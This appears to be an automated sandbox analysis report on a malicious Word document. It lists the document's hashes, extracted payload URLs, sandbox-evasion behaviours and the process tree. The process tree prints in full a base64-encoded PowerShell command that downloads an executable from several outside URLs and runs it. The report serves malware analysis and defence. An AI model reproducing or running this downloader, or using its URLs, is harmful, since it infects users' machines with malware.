Analysis
-
max time kernel
102s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 21:33
Static task
static1
Behavioral task
behavioral1
Sample
dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc
Resource
win10v2004-20220414-en
General
-
Target
dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc
-
Size
159KB
-
MD5
7ddc710efec2afde585c14b7aab0390d
-
SHA1
ffff91695e0ab3289078686b0f805ecec5fb8d4b
-
SHA256
dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822
-
SHA512
05a8c4a6e8481bba138de73b6c600ace4eb67b69c20628f07e1cac66143dcdf889357ff313db79cb4d7cb7cd2bcc9c33182a317c0bc1bf062408a02dbef582dd
Malware Config
Extracted
http://www.madonnaball.com/wp-content/Xbc/
http://www.drivingwitharrow.com/wp-content/plugins/w8KF86/
http://totemrussia.com/6uq9udk/pt9G/
http://kaziriad.com/wp-admin/8Y98/
http://movetracker.com/wp-content/MYsw/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4196 2500 powershell.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 19 4196 powershell.exe 24 4196 powershell.exe 27 4196 powershell.exe 51 4196 powershell.exe 52 4196 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1684 WINWORD.EXE 1684 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4196 powershell.exe 4196 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4196 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 1684 WINWORD.EXE 1684 WINWORD.EXE 1684 WINWORD.EXE 1684 WINWORD.EXE 1684 WINWORD.EXE 1684 WINWORD.EXE 1684 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JAB6AEQAQQB4AEcAdwBBAD0AKAAnAFMAJwArACcAQQBvAEEARAAnACsAJwBRAEEAQQAnACkAOwAkAHQAQQBvAGMARABCAEQAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAUQBCAGMAVQBvAEIAQQA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAnACsAJwAvAHcAdwB3ACcAKwAnAC4AbQBhAGQAbwBuAG4AYQAnACsAJwBiAGEAJwArACcAbABsAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgAnACsAJwB0ACcAKwAnAC8AWABiAGMALwBAACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AdwB3ACcAKwAnAHcALgBkAHIAaQB2AGkAbgBnAHcAaQB0AGgAYQByAHIAbwAnACsAJwB3ACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3AHAALQBjAG8AbgAnACsAJwB0AGUAJwArACcAbgAnACsAJwB0AC8AcABsAHUAZwBpAG4AcwAvAHcAOABLAEYAOAA2AC8AJwArACcAQAAnACsAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACsAJwAvAHQAJwArACcAbwB0ACcAKwAnAGUAJwArACcAbQByAHUAcwBzAGkAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8ANgB1AHEAOQB1AGQAJwArACcAawAvAHAAJwArACcAdAAnACsAJwA5AEcALwBAAGgAdAB0AHAAOgAvACcAKwAnAC8AawBhAHoAaQByACcAKwAnAGkAYQBkAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQBpACcAKwAnAG4ALwA4AFkAOQAnACsAJwA4AC8AQABoACcAKwAnAHQAdABwADoALwAvAG0AbwAnACsAJwB2AGUAdAByAGEAYwBrACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAnACsAJwAvACcAKwAnAE0AWQBzAHcALwAnACkALgAoACcAUwAnACsAJwBwAGwAaQB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAdABRAEIAMQBBAEEAQQBRAD0AKAAnAHcAJwArACcAWABHAEEAQwBVAEEAJwArACcAVQAnACkAOwAkAGkAQgBBAG8AQQBBAEEAIAA9ACAAKAAnADgAMAAnACsAJwA5ACcAKQA7ACQAWQBBAFUAQQBVAEEAdwA9ACgAJwBXACcAKwAnAGMAQQBCAEEAQQAnACsAJwBBAEQAJwApADsAJAByAFgAUQBvAFEAQQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABpAEIAQQBvAEEAQQBBACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcgBVAFoAWgB4AFEAVQAgAGkAbgAgACQAbABRAEIAYwBVAG8AQgBBACkAewB0AHIAeQB7ACQAdABBAG8AYwBEAEIARAAuACgAJwBEAG8AJwArACcAdwAnACsAJwBuAGwAbwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAcgBVAFoAWgB4AFEAVQAsACAAJAByAFgAUQBvAFEAQQBBACkAOwAkAGoAQQBaAEQAUQBBAHcARAA9ACgAJwBRAFUAQwBYAEEAVQAnACsAJwBBACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJAByAFgAUQBvAFEAQQBBACkALgAiAEwAZQBuAGAARwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQAcgBYAFEAbwBRAEEAQQA7ACQAYgBRAEEAQgBEAFEAPQAoACcAcQBfAEEAQgAnACsAJwBEAEEAJwArACcAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBEADQAbwBaAEcAPQAoACcAYwBVAHgAQQBBAEMAJwArACcAXwAnACkAOwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1684-136-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmpFilesize
64KB
-
memory/1684-130-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-132-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-133-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-134-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-135-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmpFilesize
64KB
-
memory/1684-131-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-137-0x000001637F7E0000-0x000001637F7E4000-memory.dmpFilesize
16KB
-
memory/1684-141-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-144-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-143-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/1684-142-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4196-138-0x00000245FFD20000-0x00000245FFD42000-memory.dmpFilesize
136KB
-
memory/4196-139-0x00007FFE01580000-0x00007FFE02041000-memory.dmpFilesize
10.8MB